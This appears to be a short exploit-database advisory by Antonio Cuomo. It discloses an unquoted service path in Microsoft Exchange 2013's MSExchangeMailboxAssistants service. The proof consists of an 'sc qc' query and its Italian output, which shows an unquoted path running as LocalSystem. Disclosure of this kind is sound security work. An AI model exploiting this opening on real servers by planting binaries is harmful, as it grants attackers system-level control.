# Exploit Title: Microsoft Exchange Mailbox Assistants 15.0.847.40 - 'Service MSExchangeMailboxAssistants' Unquoted Service Path # Exploit Author: Antonio Cuomo (arkantolo) # Exploit Date: 2022-04-11 # Vendor : Microsoft # Version : 15.0.847.40 # Tested on OS: Microsoft Exchange Server 2013 SP1 #PoC : ============== C:\>sc qc MSExchangeMailboxAssistants [SC] QueryServiceConfig OPERAZIONI RIUSCITE NOME_SERVIZIO: MSExchangeMailboxAssistants TIPO : 10 WIN32_OWN_PROCESS TIPO_AVVIO : 2 AUTO_START CONTROLLO_ERRORE : 1 NORMAL NOME_PERCORSO_BINARIO : C:\Program Files\Microsoft\Exchange Server\V15\Bin\MSExchangeMailboxAssistants.exe GRUPPO_ORDINE_CARICAMENTO : TAG : 0 NOME_VISUALIZZATO : Microsoft Exchange Mailbox Assistants DIPENDENZE : SERVICE_START_NAME : LocalSystem